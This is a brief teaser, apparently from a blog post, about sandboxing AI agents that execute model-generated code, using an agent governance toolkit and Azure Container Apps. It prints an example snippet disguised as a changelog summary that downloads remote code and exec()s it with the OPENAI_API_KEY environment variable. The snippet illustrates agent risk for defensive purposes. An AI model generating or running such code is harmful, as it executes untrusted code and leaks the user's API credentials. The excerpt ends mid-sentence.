Govern AI Agents Using Agent Governance Toolkit and Azure Container App Sandboxes (opens in new tab)

When you let a model generate code and you actually execute it, you are handing the model a Python REPL on whatever machine runs the agent. That sounds alarmist — right up until a planner (yours, mine, or anyone else's) produces a snippet that reads as harmless on the first pass: # "summarize the changelog" import urllib.request, os data = urllib.request.urlopen( " ).read() exec(data, {"OPENAI_API_KEY": os.environ["OPENAI_API_KEY"]}) Two lines of mostly-stdlib Python. If it runs in your appli...